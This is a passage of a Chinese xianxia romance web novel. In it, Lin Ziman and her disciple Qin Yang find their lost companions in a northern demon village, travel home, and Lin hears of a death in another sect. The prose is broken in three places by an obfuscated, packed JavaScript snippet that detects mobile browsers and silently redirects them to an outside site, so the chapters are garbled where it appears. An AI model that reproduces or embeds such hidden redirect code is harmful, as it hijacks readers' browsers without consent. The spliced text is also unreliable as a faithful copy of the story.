将来他会有办法让林子满与他名正言顺地站在一起,但现在,他也不想让林子满再拒绝他。 他就是这样贪心,既要将来,也要现在。 好在林子满沉默良久后,只是轻轻吐出一口气,身子后仰又躺回床上,拉过被子盖在头上,没再说什么。 秦扬微微松了口气,暂时将心放回了肚子里,看来她是不会再反悔了。 想到这儿,他唇角不自觉向上翘起,眼里浮现出喜悦,看来他在林子满心中的分量比自己以为的还要重啊。 秦扬拾起地上的衣裳,一件件穿好,转身看到床上包成蚕蛹的人,忍不住笑了笑,走过去轻轻将被子拉低几分,让林子满不至于捂得难受。 他看着重又陷入沉睡的林子满,伸手抚平她微蹙的眉心,又没忍住在她额心落下一记轻吻。 看来昨晚真是累坏了。 秦扬静静看了她片刻,轻手轻脚地收拾好屋内的一片狼籍,转而走出树屋去准备今天的早饭。 57. 重逢 林子满与秦扬的关系,就这样不清不楚地日益亲密起来。 秦扬十分识趣,没再得寸进尺地做些出格的事,却以一种不容拒绝的姿态霸占了林子满的绝大部分时间,如润物春雨一般,无声地将自己融入进她生活的点点滴滴。 ——至少,要让自己成为她的一种习惯。 即便她不喜欢他,成为习惯以后,她也会渐渐离不开他。 至于未来,两人都默契地选择了避而不谈。 秦扬是心中早有打算,只待时机成熟,便能名正言顺地站在她身侧。 至于林子满,则是根本没想过自己与他会有未来。 这日,二人用罢午饭,沿着小路慢走消食,就见雪盈拉着一个男孩一蹦一跳地往村口跑。 秦扬定睛一看,那男孩不是别人,正是那日分了他一坛酒的热心肠小兔精。 见他们俩并肩走在一起,小兔精露出一副果然如此的表情,小跑至二人跟前,朝秦扬邀功:“怎么样,我没骗你吧?那酒是不是真的特别神奇?只要喝了它,吵架吵得再凶都能和好如初!” 林子满觉出不对,眼睛一眯,问:“什么酒?” 不待秦扬开口,小兔精抢着说道:“就是合姐姐酿的酒啊!若不是我好心分了他一坛,你们如今还没和好呢!” 林子满不咸不淡地瞥了秦扬一眼,继续问:“所以那酒的功效你一早就告诉他了?” 小兔精无辜地点了点头:“是啊!不然他要酒干什么?” 秦扬:“……” 他能说他真的很无辜吗? 林子满咬牙,原来如此! 她就说凭她的酒量,怎么可能小小一坛就醉到那种地步,理智全无,连梦境与现实都分不清,原来是拜这酒的“特殊功效”所赐! 秦扬弱弱开口:“其实我真的不知道那酒的功效……” 林子满狠狠剜了他一眼,幽幽道:“是么?这么说倒是我冤枉你了?” 小兔精也十分疑惑:“我当时明明跟你说过的啊,你还问我是不是真的有那么神奇,你这就不记得了?你记性也太差了吧!” 秦扬简直百口莫辩,那兔精当时是与他说过吵架的人喝了这酒就会和好,但他不信真有这样神奇的酒,因此并没有当回事,谁知竟是这种作用的酒! 怪不得是吵了架的夫妻才会去讨酒! “别管什么酒不酒的了,要喝酒等回来再喝!”一旁的雪盈不知事情原委,见他们一直站在原地闲聊,顿时有些着急了,“我们快走吧,再不快些就来不及了!” “什么来不及了?你们这是要去哪儿?”秦扬连忙装出好奇的样子,只盼着赶紧跳过这个与酒相关的危险话题。 雪盈与小兔精一边往村口赶,一边回头应了句:“雀灵村来了两个长得极好看的少年,好多姐姐在那儿争着挑郎君呢!晚了可就见不到了!” 两个少年? 林子满心下一动,抬眸就见秦扬也朝她看来,两人对视一眼,皆明白了对方心中的猜测。 这极北之地极少有外人踏足,这二人会不会……就是莫叶声与时客? 他们踏入隔绝之阵后就失去了意识,醒来就在雪原上,莫叶声与时客离开妖都后,应该也被传送到了离他们不远的地方。 “走,去看看。” 二人提气而起,脚尖一点,跟上雪盈的步伐。 翻过几座雪丘,绕过成片的冰桂树,便是鸟妖居住的雀灵村。 原本僻静的小村落,此时正唧唧喳喳闹成一片,挤满了花枝招展的姑娘。 “这个生的真好看,瞧这眼睛嘴巴,啧啧啧,简直太对我胃口了!” “那个太凶了,不好对付。还是这个好,长得文文弱弱的,一看就好拿捏。” “我还就喜欢降服这种凶巴巴的,那种看着就弱不禁风的能有什么意思?” “那你要那个凶的,这个归我?” “好啊好啊!” 两人一拍即合。 “你们倒是决定得快啊。”旁边有人看不下去了,“这么多姐妹在这儿呢,怎么就归你们俩了?” “就是!他们又不是你们捡回来的,你俩可做不了他们的主!” “人虽不是我们捡回来的,但我可是阿娴最好的朋友,我若开口向她讨要,她难道会不给?”一袭烈烈红衣的女子得意地昂起头,胳膊搭在身旁好友的肩头,“是吧,阿娴?” 白娴人如其名,是一只修炼了数百年的白鹇妖,也正是将这两位少年从雪林里捞出来的人。 听她这么说,白娴无奈地笑笑:“你若想要,我哪会不允?只是众姐妹都是冲着他二人来的,总不好让她们白跑一趟吧?” “没错!看在阿娴的面子上最多只能让你霸占一个,另一个还是要留给我们分的!” 众人你一言我一语,七嘴八舌地争论不休。 林子满嘴里念叨着“借过借过——麻烦让一让——”,一手前伸分开人群,侧着身子往里钻,好不容易才了挤进去,就见被团团围住的地上,躺着两个奄奄一息的少年。 ——正是莫叶声与时客。 二人皆是狼狈不堪,头发湿乱地垂在肩头,甚至还结着几处冰碴儿,身上的衣裳不知被什么划破了,布条散乱地坠着,隐约可见底下渗出的血迹。 林子满神色微凝,快步走上前,一把扣住他二人的手腕,运起灵力探查他们体内的情况。 这一举动立马引来周围人的不满: “哎——你怎么回事儿?懂不懂规矩啊,怎么上手就摸起来了?” “你谁啊?一声不吭就想抢人?” “轮到你了吗?没看见这么多人排队等着的吗!” “你是哪个山头的?这么不懂事,你家长辈呢?” 在场的妖大多不认识林子满,见她面生,行事又这般鲁莽,便以为她是住在某个荒僻村落的小妖,此前从未露过面。 那名红衣女妖走上前,欲将林子满赶走。 秦扬长臂一展,横于其身前,将林子满牢牢挡在了身后。 被拦住的女妖先是被秦扬那张过于俊美的面容晃了神,不自觉盯着看了片刻。 反应过来后顿时怒上心头:这都是哪里来的野蛮小妖!一声不吭就想跟她们抢人也就罢了,竟还不知死活敢拦她?! 她柳眉一竖,眼睛一横,怒气冲冲叉着腰就要开骂,却被人轻轻拽住了衣袖,转头一瞧,就见白娴犹疑着开口:“我怎么看他们有几分眼熟……” “管他是谁!就是天王老子来了,也得按规矩办事!”女妖颇为不屑地嗤了一声。 这十里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902874|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八乡有些名头的她谁没见过?这二人如此面生,即便长得格外出众些,想来也是没什么能耐的。 既没本事,还想坏了规矩,天底下哪有这样的道理? 她手中凝起妖力随意一挥,想要斥退这没规没矩的山野小妖,下一刻却惊讶地睁大了眼睛—— 她扬出的那团碧绿妖力落在秦扬的手臂上,别说伤着他了,不但没能撼动他分毫,反而如同一阵青烟般,在触上他衣角的刹那就消失得无影无踪。 女妖愕然立在那里。虽然她方才只是想给对方一个小小的教训,并未使多大力,但怎可能如同蚍蜉撼树一般,丝毫作用也不起? 她看着秦扬漠然的眼神,心底突然生出一股莫名的恐惧,寒意从脚底升起,顺着脊骨蔓延开来,渐渐的连呼吸都变得困难起来,就好像被天敌盯上一般,全身控制不住地微微颤栗起来。 一旁的白娴发觉她的异常,疑惑地询问出声,她张张嘴想说话,喉咙却像被死死扼住了一般,无论如何都发不出半点声音。 就在她以为自己将要窒息而亡时,眼角余光瞥见半蹲在地上的女子直起了身子,那双冷冷看着她的双眸才移了开去。 凝滞的空气重新开始流动,女妖大口大口喘着气,双腿一软险些跌倒在地上。 旁人皆诧异地看着她,不知她这是闹的哪一出。 白娴掺着她发软的身子,一脸担忧:“翠羽,你这是怎么了?” 翠羽脸色发白地摇摇头,心有余悸地看了眼注意力已不在她身上的秦扬。 雪原何时藏了这样一只深藏不露的大妖?他们到底是什么来历? “还好,只是些皮外伤。”林子满站起身来,对着秦扬说道,“灵力有些透支,修养几日应该就无碍了。” 她抬眼在屋里扫了一圈,视线最终落在白娴身上。 听她们方才话里的意思,这位就是能决定莫叶声与时客去留的人。 “这二位是我们的朋友,我们四人同行至此处,因意外失散,还要多谢姑娘搭救他们。”林子满笑着开口,微微点头以示谢意。 “救他们不过举手之劳,不必言谢,只不过……”白娴眼带探究地来回打量他们二人,目光最后落在林子满身上,“你们不是这儿的人吧?” 许多年前,她还是个孩子时,听闻花月村来了个外面世界的人族女子,也曾呼朋引伴前去围观过,依稀记得的眉眼,与面前之人渐渐融合。 这没什么好隐瞒的,林子满点点头,落落大方地承认了。 周围一群看热闹的妖听见这话,眼神顿时就变了。 不是这儿的人,那不就是从外面来的? 这雪原已经数不清有多少年没有外人踏足了,没想到这一次就见到了四个! 真是开了眼了! 众妖新奇地盯着他们四人看来看去,眼神十分炙热。 不过众妖盯着瞧了几圈,觉得他们除了长得漂亮些,跟她们好似也并无太大差别。 就在这时,先他们一步抵达此处,却因身高太矮始终被堵在外围的雪盈与小兔精,终于突破层层障碍,挤进了人群中央。 有了这两位虽然年幼却也还算靠谱的“本地妖”在中间协调解释一番,他们没费多少口舌就说服了众妖,顺利将躺在地上昏迷不醒的两人带回了花月村。 58. 负责 “啊——” 太阳将将升起时,一声惨叫自树屋里传出,高昂的声音几乎划破大半个花月村,原本停在树干上欢快啼叫的鸟雀被惊得四散飞窜。 林子满一个激灵,猛地睁开了眼睛,与正躺在地上盯着她看的秦扬对上了视线。 “我去看看。” 猝不及防间没来得及移开视线,偷看被抓了个正着,秦扬脸上也不见丝毫心虚与慌乱,一本正经地站起身,去查看屏风后的动静。 自睡梦中惊醒的林子满,脑子正是一团糨糊、不甚清醒的时候,也没觉出哪里不对,迷迷瞪瞪地从软榻上下来,紧跟着快步走进内室。 镂空雕花屏风旁,莫叶声捂着胸口缓了好一阵,才艰难撑地坐起来,往后一倒靠在屏风上,眼前不断闪烁的金星仍未散去。 见没有外敌,林子满稍稍松了口气,纳闷地看了半瘫在地上的莫叶声一眼,有些摸不着头脑。 只得又转头望向床上—— 时客披散着一头黑发,拥被坐着,一双眼凌厉地瞪着刚被自己一脚踹下去的人。 “这是怎么了?”林子满看看这个,看看那个,充满疑惑地问。 莫叶声好容易才从头晕目眩里清醒过来,面对林子满的疑问,只能回以无辜又茫然的目光,有几分呆滞地与她对望。 林子满:“……” 莫叶声:“???” 他是真的不知道发生了什么! 在妖都时,林子满与秦扬不过眨眼间便双双消失在悬崖边上,他与时客不敢耽搁,紧跟着也跃入那透明屏障之中,不想却还是慢了一步,就此与他们失散。 他们在一座雪山上醒来,那里不仅荒无人烟、灵气稀薄,还狂风呼啸、严寒刺骨,先是遭遇雪崩,险险逃脱后又遇到一群正饿得眼冒绿光的雪狼。 拼杀到后面已是精疲力尽,完全是靠着本能在挥剑,斩杀掉最后一头雪狼后,莫叶声就彻底失去了意识。 胸口传来剧痛时他人已经在空中翻转了,狠狠砸在地上后也只来得及发出一声短促的惨叫。 他连身处何地都不清楚,更别提解释发生了什么。 这是个头脑糊涂的,因而几道目光又不约而同地落在了另一个当事人身上。 时客张张嘴,刚想说什么却又突然顿住了,犹豫片刻后垂下了目光,盯着床沿上的雕花,闷声闷气地说:“没什么,就是做了个噩梦,惊醒后没反应过来,误伤了他。” 这倒也说得通,前些日子在妖都大家脑子里都绷着根弦,时客又是个警惕心重的,乍然在陌生的环境醒来,有些过激也是很正常的。 但林子满觑着时客的脸色,总觉得事情应该没这么简单,她又回头看了眼仍坐在地上的莫叶声,到底没再多问。 总归不是什么大事,人家既不愿意说,也没必要刨根究底非要问个清楚。 莫叶声与时客稍作休息,梳理体内灵力,待精神恢复后,才将与他们分开后所遭遇的事情大致说了说。 林子满听得唏嘘不已,与他二人比起来,她与秦扬的运气实在是算不错了,虽不知在雪里被埋了多长时间,却也安然无恙地醒来,不像他们这般惊心动魄,又是雪崩又是狼群的。 原本林子满还担心找不着路,会在雪原上迷失方向,没想到那么巧,刚好碰到了偷溜出去玩的雪盈与前去寻人的雪枝,就这样十分顺利地来到了花月村。 起初,林子满并未将晨起时发生的小插曲放在心上,只以为莫叶声与时客闹了些小矛盾,这才起了冲突。 但少年人嘛,最是心大的时候,吵几句嘴打几次架,就没有过不去的事。 况且二人也都不是心胸狭隘之人,应当不会为了些小事斤斤计较。 却没想到好几日过去,二人之间的气氛还是僵持着,特别是时客,对着莫叶声就没个好脸,平时相处也是爱搭不理的,莫叶声几次凑上去都碰了一鼻子灰,颇有几分尴尬。 于是,林子满寻了个时机,偷摸着将莫叶声拉到个无人的角落。 “你与时客……这是怎么了?先前不还好好的吗?”她斟酌着问,“我看他也不是那小心眼的人啊,你到底怎么欺负人家了?” 这两人都是挺好的孩子,林子满实在不想看到他们交恶。 她的语气变得语重心长:“在魔域的时候,我们急着找出口,分身乏术,顾及不上重伤的你,是时客细心照料,你才恢复得这样快。后来到了妖都,也是他处处留意着你,几次救你于险境。虽说是受迟渊所托,但这份情意,你不可不记在心里。” 听到“情意”二字,莫叶声难得地局促起来,白皙的脸庞慢慢涨红,手不自觉放在剑柄上,不住摩挲着。 “我——”他才说一个字,又没了动静,像是顾忌着什么,不好随意说出口。 林子满用鼓励的眼神看着他,耐心地等着。 半晌后,莫叶声终于下定了决心,眼一闭,心一横,语气坚定地说:“我要娶他。” 林子满:“???” 预备要当个知心大姐姐,调解调解小辈之间的矛盾,修复一下他们岌岌可危的友情的林子满,犹如被惊雷击中,原本温和的笑僵在脸上,扭曲成一个怪异的表情。 许久之后,她才找回了自己的声音:“……我能问问为什么吗?” 还好还好,小问题小问题。 林子满安慰自己,好歹也活了几百岁了,什么没见过?心理承受能力还是很强大的,这种事也只是初闻时有些震惊,远没到难以接受的程度。 只是……莫叶声这小小年纪,知道自己在说些什么吗? 他们分开的那几日,这两人之间到底发生了什么?怎么好好的就扯到终身大事上去了? 莫叶声其实也很迷茫,世俗礼法什么的从未有人教过他,师父从来只与他讨论修炼上的事,他实在不知该去问谁。因此对着宛如姐姐的林子满,忍不住吐露了自己的心事:“我应该、应该要对他负责……” 负责? 林子满努力去理解他话里的意思,难不成他俩……他俩…… 可这万里雪原,寒意彻骨的,不以灵力护身甚至可能被冻僵,应该不至于忽然就天雷勾动地火,一时情难自禁犯下大错吧? 林子满清了清嗓子,压低声音:“仔细说说。” “就是,就是我不小心……不小心看到……”,莫叶声的音量越来越低,声如蚊蚋,几不可闻,“……看到了他洗澡。” 正一脸严肃又好奇的林子满:“???” 洗澡? 大男人看个洗澡怎么了? 有必要这么难以启齿又神秘兮兮的吗?! 林子满忍不住发出一声长长的叹息,叹出了深深的无奈:“莫师弟啊,暂且不说这是修真界,大家行为处事都开放许多,就是在有着各种陈规陋习的凡间,也没有这样愚昧的要求。你二人同为男子,莫说只是看了身子,就算上手摸了,亲了,也……” “师姐你别说了!!” 正苦口婆心到一半的林子满猝然被打断,诧异地看着眼前脸红得快冒烟的少年。 她竟不知莫叶声是纯情到这种地步的人? 难不成是我太开放了?林子满难得开始怀疑起自己来。 “师姐你不懂,我,我真的要对他负责。”莫叶声嗫嚅道。 ——是啊,我是真不懂你们,或许是年纪大了吧。 林子满在心里无力地接道。 “你可知怎样的人才能结为道侣?若非两情相悦,强行结亲只会变成怨侣。”再怎么无奈,身为前辈还是应该将小辈引上正确道路的,林子满重振旗鼓,“我问你,你既说要娶时客,那你喜欢他吗?” 喜欢? 莫叶声有些迷茫,他以前的生活里只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902875|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修炼,从未有人告诉他喜欢是什么样的。 “我不知道。” “但我没见着他就会不停想他,想到他就会忍不住笑,有时候和他对上视线,心就会跳得很快。”莫叶声摸着自己胸腔里不住跳动的心脏,有些不确定地说,“我应当是喜欢他的。” 林子满:“那时客呢?他喜欢你吗?” “他应当……是不喜欢我的。”莫叶声的眼神黯淡下去,“我跟他说我可以娶他,他让我滚。” 是个正常人都会让你滚吧? “所以你看,时客其实不用你对他负责,说不定就是你这番话惹恼了他,所以他才一直不愿理你呢。”林子满循循善诱,“你放下这个念头,像以前一样将他当作好朋友,他肯定很快就原谅你了。” “原来是这样吗……”莫叶声喃喃道。 就在林子满满意地点点头,以为自己该功成身退时,突然见沉吟半晌的莫叶声又坚定地摇了摇头:“不,师姐你不懂,就算时客不喜欢我,我也应该对他负责。” 林子满:“……” ——行,你赢了。 林子满不再纠缠,干脆利落地扔下一句“你开心就好”,转身面无表情地大步离开了。 “长老这是怎么了?谁惹你生气了?” 正雄赳赳气昂昂往回走的林子满脚步一顿,闻声回头,一身玄衣的秦扬踏雪而来,手里握着一束颜色绚丽的花。 他打量着林子满的脸色,眼底暗芒一闪而过:“先前见长老与莫叶声一同离开,莫非是他做了什么冒犯长老的事?” “那倒不至于。”林子满摆摆手,有些心力交瘁,“就是与他探讨了一下该不该负责的事。” “负责?” 秦扬几步走上前,忽地俯身凑得极近,盯着林子满的眼睛,笑意吟吟:“长老终于要对我负责了吗?” 林子满:“……” 林子满不自觉往后退了一步,颇有些哭笑不得地看着他。 她是万万没想到这也能被秦扬抓住机会,如此锲而不舍,也真是难为他了。 说来真是巧,莫叶声明明无需负责,偏偏坚持要负责。她明明该负责,却又不愿负责……也无法负责。 “行了啊你,别得寸进尺了,难不成你还想骑到你师父头上去?”林子满打了个哈哈,试图糊弄过去。 秦扬却忽然安静了一瞬。 再过几日就是立夏了。 立夏一到,他们就要趁机出山,然后尽快赶回永凌山,将这些时日发生的事告知吕秉清,再商议下一步打算。 一旦回到永凌山,就不可能像现在一样,无人知道他们还有另一层关系,无人在意他们之间暧昧亲密的举动。 林子满也后知后觉地想到了这一点,她望着秦扬那双黑沉沉的眼眸,鸦羽般的长睫低垂着,遮去其中大半的情绪,林子满却能感受到,他不怎么开心。 林子满刚准备说些什么缓和气氛,却见他扬唇一笑,明媚似春光:“那我自然是不敢的,掌门为大我为小,不管从哪方面说,我都是该敬着他的。” 话锋一转,他语气里又带上几分可怜,泫然欲泣柔声道:“如今我所能倚仗的不过长老一人,还望长老怜惜我,莫让掌门欺负了我才好。” 林子满被他这幅楚楚可怜的小白花模样震了震,嘴角微抽:“……你这矫揉造作的姿态是跟谁学的?我竟不知你还有这种癖好?” 秦扬变脸如翻书,朗声笑道:“能博长老一笑,我苦练多日也不算白费功夫了。” “长老放心吧,我知晓分寸的,回去以后不会做让长老为难的事的。”他语气变得认真起来,“只要长老心里待我不同,我便心满意足了。” 他这样懂事,倒叫林子满愧疚起来,只觉得是自己不好,拐带了人家又给不了名分,还要求他瞒着众人在私下里往来,这行径跟渣男有什么分别! 59. 立夏 时至立夏,万物繁茂。 极北之地最高的那座雪山,在阳光的照耀下,缓缓散去终年萦绕的寒气,显露出难得一见的真容。 漫山的冰桂树在日光下熠熠生辉,星星点点仿佛银河散落人间,一行人自林中结伴而出。 “真冷啊,怪不得平日无人敢接近这儿。”虽有灵力护体,莫叶声仍被冻得直打寒颤,搂着双臂不住搓动着。 即便如此,他还是刻意走在时客身前,不动声色为他挡去前方吹来的刺骨寒风。 时客冷嗤一声:“平日修炼还是勤勉些吧。” 说完越过他大步朝前走去。 “这地方倒是有趣,一年就这么一次机会可以进出,倒是一处天然的屏障,不过,”秦扬走在林子满身侧,“那些住在雪原的小妖,若遇到危险,岂非也无法逃出,只能被困此地?” 林子满点点头:“确实能这么说,若遇强敌袭击,他们无力抵抗之下也极难逃脱。” 但雪原灵气稀薄,又无甚珍稀至宝,且这高峰常年雪雾封山,外人也极少知道此处还住着一群小妖,实在引不来什么强者觊觎。 雪雾虽散,雪峰周围仍是寒风凛冽,靠近峰顶时甚至有刀割皮肤之感。 想要御剑而过是不可能的,四人只能冒着寒风徒步而行。 高耸的冰桂树挡去大片天光,时间在忽明忽暗的林中变得模糊起来,待到他们终于下到山脚时,看到的已是西沉余晖。 既出雪山,就到了分道扬镳的时候。 林子满:“我与秦扬等会儿便回宗门,你们也是各自回去?” “前辈不与我一道回蕉林谷等少主的消息吗?”时客疑惑地问。 林子满摇摇头,如今她只是一个边远小宗门的长老,这些事不是她该操心的,如何阻止人妖两界合并自有那些名门望派去头疼。 “若迟渊归来,你传信于我报个平安即可。”她拿出一张传音符递给时客,“若他遇到麻烦迟迟未归,有我能帮上忙的,我也会尽力而为。” 听她这么说,时客不再多言,点头收下符咒,转而对莫叶声说:“你不能走,你得跟我回蕉林谷。”语气不容拒绝。 这话一出,余下三人皆是一愣。 不知内情的秦扬只是稍有些惊讶,毕竟时客平时少言寡语,少有态度这么强硬的时候。 林子满则是想着不会吧,不会时客真被莫叶声这小子一片“痴心”打动了?要将他带回去见师门长辈了? 莫叶声最初也是这么想的,但惊喜与羞涩还来不及涌上心头,就被时客冷冷的眼神给浇灭了。 他后知后觉想起了自己尴尬的身份。 “你们放心,我不会将这些事告诉师父的。”莫叶声闷声道,“事关天下安危,若师父当真,当真与妖都勾结……”勾结二字他说的极其艰难,痛苦地闭了闭眼,“我不希望世上再出现很多像我一样没有父母的孩子了。” 若事情当真到了最坏的地步,他不会,也不能站在师父那边,大不了,大不了最后将命还给他,以报这些年来的恩情。 见他这样,时客脸上闪过一丝不自然,难得开口安慰:“并不是不信任你,只是你毕竟是驭妖宗的人,避嫌总是好的,若不小心出了岔子,也不会怪到你头上。” 莫叶声勉强笑了笑:“多谢你的好意,我知道你也是为了我好。” 互相道别几句后,四道身影冲天而起,化为流光向两个方向飞驰而去。 而此时的永凌山内,吕秉清已经快急死了。 此次去往得失境的弟子大半都没有回来,听好不容易回来的几名弟子说,他们遇到了一头十分强大的妖兽,秦扬舍命救人,为了给他们拖延时间,孤身对战妖兽,生死不知。 林子满跟去得失境就是为了保护他,这种情况下怎么可能袖手旁观?而现在迟迟未归,怕不是出了什么意外? 得失境已经关闭快半个月了,派出去寻人的一无所获,打听来的消息却一个比一个让吕秉清心焦。 也不知得失境里到底发生了什么,好几个世家大族的公子都没能出得来。这群公子哥不是被当成继承人培养的,平日里修行懈怠,又爱到处出风头,像得失境这种秘境,宗门长辈自会挑选护卫陪侍左右,按理来说是不会出意外的,像这样大批失踪的情况,以前从未出现过。 就在吕秉清快要坐不住,准备亲自出去寻人时,终于听到有弟子来报,说是林长老和秦师兄回来了。 吕秉清急步走到门口,就见远处有两人并肩而来,微风吹过,零零碎碎的花瓣自树梢跌落,打着旋儿地飘下,落了人满肩满头。 看着远处那两张稍显模糊的脸,吕秉清有些恍惚,一时以为回到了五百年前,自己还是个无忧无虑的少年的时候。 “在这儿傻站着干吗呢?”林子满看着尚在呆愣的吕秉清,戏谑道,“不过是一月未见,吕大掌门没必要这般望穿秋水吧?” 被一语惊醒,吕秉清这才缓过神来,转而怒上心头,气势汹汹地质问道:“你们这些时日到底去了何处?出了得失境为何不回来?就算有事要办,就不知道先传信给我报个平安吗?知不知道我有多着急?!” 林子满揉了揉被震得有些发麻的耳朵,摆手示意他冷静:“轻声些轻声些,别在弟子面前失了风度。” 听到此处,吕秉清分神瞥了秦扬一眼,见他同样并无受伤的迹象,这才抻了抻衣衽,冷哼一声,转身进了屋内:“先进来再说。” 在他身后,林子满几不可闻地叹了口气,几乎可以预见接下来的长篇大论。 吕秉清这人什么都好,善良真诚,仗义大方,就是不知怎么得了个唠叨的毛病,平日里对着一众弟子又要摆出掌门的架子,压抑久了,一旦遇上个突破口,那简直犹如决堤之水滔滔不绝,听的林子满心如死灰,恨不得自己是个聋子。 于是,为了摆脱这场令人头皮发麻的说教,林子满决定先发制人:“那些琐事先抛开不谈,现在有件很重要的事,关乎天下安危。” 正憋了一肚子气要发泄的吕秉清:“……” 怎么就琐事了?怎么就能先抛开不谈了? 但林子满的表情实在严肃,吕秉清只得深吸一口气,强行压下已经冲到嗓子眼的一肚子话,僵硬道:“……什么事?” 一炷香后,说得口干舌燥的林子满端起桌上的茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902876|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏,咕咚咕咚一饮而尽。 “情况大致就是这样,隐息丹的功效只有十日,算算日子,迟渊他们也该回来了。”林子满放下茶盏,舒了口气,“虽说此事关乎天下苍生,但驭妖宗身为天下第二大宗,实力强大,门下弟子不知凡几,事情尚未查清之前,还是莫要轻举妄动,免得打草惊蛇。” “况且蕉林谷既然早已发现端倪,却未有风声传出,想必自有打算,我们就不要擅作主张瞎添乱了。” 吕秉清眉头紧锁,闻言点了点头:“我即刻就编个由头,与众长老商议后,组织附近的一众门派囤积粮食与灵药,若当真走到了最坏的一步,也不能坐以待毙。” 事情交代完,林子满刚准备起身,回去洗洗这一身风尘,又被吕秉清叫住了。 “师姐——” 林子满疑惑地望过去,却见他吞吞吐吐,欲言又止,最后像是下定了决心般,郑重道:“有件事我觉得该告诉你一声。” 他挥手示意秦扬退下,叹息一般轻声说:“上阳宗的宗主夫人,前几日……仙逝了。” 林子满瞳孔骤缩,脑子里像被重锤狠狠砸了一记,嗡鸣一片,一瞬间好像想了很多,又好像什么都没想,过了许久,她才茫然地眨了眨眼,不确定地问:“你刚刚说什么?……谁仙逝了?” 吕秉清有些不忍:“生老病死是世间常态,师姐,你别太难过了。” 是啊,没人能躲过死亡,修仙之人比普通人更清楚这一点。 “我……我是不是该去送她一程?”明明她比吕秉清年长不少,向来都是拿主意的那个,此时却突然失了主见,像个无措的孩子寻求长辈的支持。 吕秉清:“没有该不该,只有愿不愿,师姐,你想去送送她吗?” 她想吗? 林子满垂下眼睫,尘封的旧事一桩桩一件件从眼前划过。 不是没有怨过,那几十年,她虽占着不属于自己的身体,却也捧出了一颗真心,倾心相待。然而真相暴露的刹那,几十年如一日的真情实感好似都化作了泡沫,她微弱的辩解无人在意,那时候是真的怨过的。 可怨怼之下,是她不敢提及的爱与思念。 良久之后,林子满终于鼓起勇气,说道:“我想见她的。” 她向后仰倒在椅子上,大大地睁着眼睛,望着房梁上镂刻的各色花纹,几不可闻地接了句:“……很想很想。” . 次日,林子满换了身素净的衣裳,准备与吕秉清说一声就出发前往上阳宗。刚到门口,便看见他正跟一名弟子说话。 那名弟子她昨日也见过,吕秉清当时吩咐他去各峰将参与历练大会却未回来的弟子名单罗列出来,再查问哪些是有事未归,哪些是未能从得失境出来的。 吕秉清语气不太好:“他只问了李素月一人?” 不明所以的弟子点点头,想到什么又摇摇头:“秦师弟后面还问了其他几名师兄弟是否也没回来,但主要是问有没有人见过李师妹。” 林子满脚步一顿。 那弟子仍在复述着秦扬说过的话,吕秉清却似有所感,偏头望向门口,看见了背着光,脸色晦暗不清的林子满。 60. 灵堂 顺着他的目光,那弟子也看到了正站在门口的林子满。 看着她脸上莫测的神情,弟子心中咯噔一声,瞬间想起了流传于永凌山上下,却无人敢在明面上议论的隐秘暗闻—— 林长老与秦扬之间那不可言说的关系。 弟子偷摸瞧了眼脸色难看的吕秉清,面上依旧一派恭敬,内心却如同冷水入油锅,炸成了一片。 ——看来传闻都是真的! 怪不得掌门不过是远远见他与秦扬说了几句话,就特意召他来一问究竟,一听说秦扬在打听他那青梅竹马的师妹就立马变了脸。 身为一派之首,自己的道侣与弟子暧昧不清,弟子也不是个品行端正的,而是个心中挂念着其他女人的多情浪子,啧啧,他们掌门也真是够能忍的。 那弟子正在心中为掌门感到悲哀,就见吕秉清像是为了掩饰什么似的,不再继续之前的询问,挥手令他退下了。 待到四下无人后,吕秉清才神色不忿地走到林子满面前:“师姐,你也不必难过,早些看清他的真面目也好,趁早断个干净。我早同你说过了,秦扬不是什么值得托付的人,一边对你百般示好,一边暗暗打听别的女人,这还只是我发现的,暗地里这样的事还不知道有多少呢!” “不过是同门之间的关怀,你何必这么大惊小怪。”林子满哭笑不得,“再说了,他们少时就相识,又是一同入门,情谊自然深厚些,当时落入那样的境地,我们意外脱险,其他弟子却未有消息,秦扬关心几句难道不应该吗?” 吕秉清还待再劝几句,就被林子满抬手止住了话头:“行了,你的意思我都明白,我心里自有打算。时间也不早了,我还要赶去上阳宗,就不同你多说了,走了啊。” 话音一落,林子满迅速转身朝寒月岛外掠去,不给吕秉清一丝开口的机会。 穿过长长的廊桥,春末夏初的暖风吹拂而过,寒月岛外已是一片生机盎然。 一道颀长挺拔的身影立于沁骨湖边,一动不动地望着波澜不惊的水面。 正是刚刚话题中的主人公——秦扬。 也不知在沉思什么,那样专注入迷,林子满快走到他身边时,他才惊觉有人靠近,猛地抬头看过来。 